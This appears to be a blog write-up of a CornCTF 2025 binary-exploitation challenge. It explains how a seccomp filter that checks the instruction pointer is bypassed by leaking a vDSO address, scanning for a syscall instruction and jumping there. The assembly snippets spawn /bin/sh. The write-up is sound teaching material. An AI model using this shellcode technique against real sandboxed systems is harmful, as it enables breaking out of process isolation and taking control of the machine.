# he_protecc: CornCTF 2025

6 min read
Table of Contents

he_protecc: CornCTF 2025

This is the first pwn challenge in the CornCTF 2025.

Upon inspecting the binary we immediately notice two things:

  1. The security mitigations are very relaxed: the GOT is writable (Partial RELRO) and the code area is not position independent (No PIE) and as such is not randomized.
  2. The ELF is statically linked: so we can exclude ret2libc and we have to ignore shenanigans with dynamic libraries this time.

By executing the binary we are prompted to input the length of some shellcode followed by the code itself.

It would definitely be too easy if we could execute a execve("/bin/sh",null,null) and get the shell. Let’s take a closer look at the binary to see what’s really happening.

Looking around

Disassembling the binary reveals an easy to read and understand code, let’s look at the most important stuff.

mmap my beloved

The mmap call is easy to understand:

  • New memory area is mapped at position 0x500000.
  • The size is 0x1000 bytes (one page or 4096 bytes).
  • The permission parameter is RWX: 001 | 010 | 100 = 111 (7)

To understand the flags we can use the strace command and read the instruction from there:

These two flags simply signal that the mapped region is private to our process and not mapped to any file, this means the area is initialized with zeroes.

A boring mmap region, nothing special here… sadly

seccomp

I’m not going to show the full setup_seccomp() disassembly as it is a bit ugly, the important part comes at the end:

The prctl call sets the NO_NEW_PRIVS flag, why? This is a security measure to stop privilege escalation made by malformed seccomp filter, so we put it before every seccomp installation (explanation). The next instruction, the syscall, installs a seccomp filter on the binary.

So the questions becomes: What does this seccomp filter allow? I was today years old when I learned that I don’t need to manually decode seccomp filters… there exists a tool for that, thanks Marco. (Github):

So by executing seccomp-tools dump ./protected we get:

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000008 A = instruction_pointer
0001: 0x01 0x00 0x00 0x003fffff X = 4194303 (0x3fffff)
0002: 0x2d 0x00 0x0a 0x00000000 if (A <= X) goto 0013
0003: 0x01 0x00 0x00 0x004b7fff X = 4947967 (0x4b7fff)
0004: 0x2d 0x00 0x07 0x00000000 if (A <= X) goto 0012
0005: 0x01 0x00 0x00 0x004fffff X = 5242879 (0x4fffff)
0006: 0x2d 0x00 0x06 0x00000000 if (A <= X) goto 0013
0007: 0x01 0x00 0x00 0x00500fff X = 5246975 (0x500fff)
0008: 0x2d 0x00 0x03 0x00000000 if (A <= X) goto 0012
0009: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0010: 0x01 0x00 0x00 0x00007fff X = 32767 (0x7fff)
0011: 0x2d 0x00 0x01 0x00000000 if (A <= X) goto 0013
0012: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW

This is not a typical seccomp filter. Normally a seccomp filter checks the syscall number against a whitelist and returns if it is permitted or not, but here the filter loads the RIP at the moment of execution of the syscall and only returns ALLOW if the position is one of the following, else the process gets killed:

  • Before 0x3FFFFF: but that’s not possible because the address space starts at 0x400000
  • Between 0x4b7fff and 0x4fffff: but there are no syscalls in that region.
  • Between 0x500fff and 0x7fffffffffff: After the mmap regio, so this is why we can’t execute a syscall in the shellcode :(

But WAIT, what can we find after 0x500fff but before 0x7fffffffffff?

Let’s run our debugger of choice and look at the mappings:

Using vmmap we can see that only one mapping has read and execution permission, and that is vdso.

By piping the instructions found in that memory area into grep we can see a few syscall instruction inside vdso, jumping to them should give us the syscall we need!

Leak & Pwn

Here comes the problem, even if the ELF is not PIE, the stack and also vdso still get randomized by ASLR, even worse, the internal offsets also get randomized… But let’s tackle one problem after another:

The Leak

Using p2p stack vdso we can see 4 leaks on the stack for vdso, let’s choose the first one.

Assembly

Now comes the difficult part, we can’t calculate the offset between the syscalls and our leak because we cannot guarantee that the internal offsets are the same in the remote binary, we need to scan the memory area…

The first part is easy, let’s take the first leak and put it into a register:

mov r8, [rbp - 0x218]

We could zero out the 12 least significant bits of this leak to align the address to the start of a memory page, but in our case, it’s unnecessary, we already know there are 5 syscall instructions diseminated in the region and it is impossible that they are all contained in the first 0x340 bits of the page. Now let’s scan the memory region for a syscall instruction, remember that it’s opcode is 0x0F05 but we are in little-endian so we need to reverse the order of bits:

loop:
inc r8
mov ax, word ptr [r8]
cmp ax, 0x050f // <-- syscall opcode but reversed
jne loop

This code snipped increases r8 (pointer to vdso leak) and reads two bytes, it then checks if the bytes are equal to the one representing syscall, if not, it continues the loop. If it exits instead, r8 will point to a valid syscall instruction, and we can continue with setting the other registers for an execve call.

mov r9, {u64(b"/bin/sh\0")}
push r9
mov rax, 59
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
jmp r8 // <-- jump to syscall outside our mmap area

sending this payload will spawn a shell and with a simple cat flag.txt we get the flag!

My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

Comments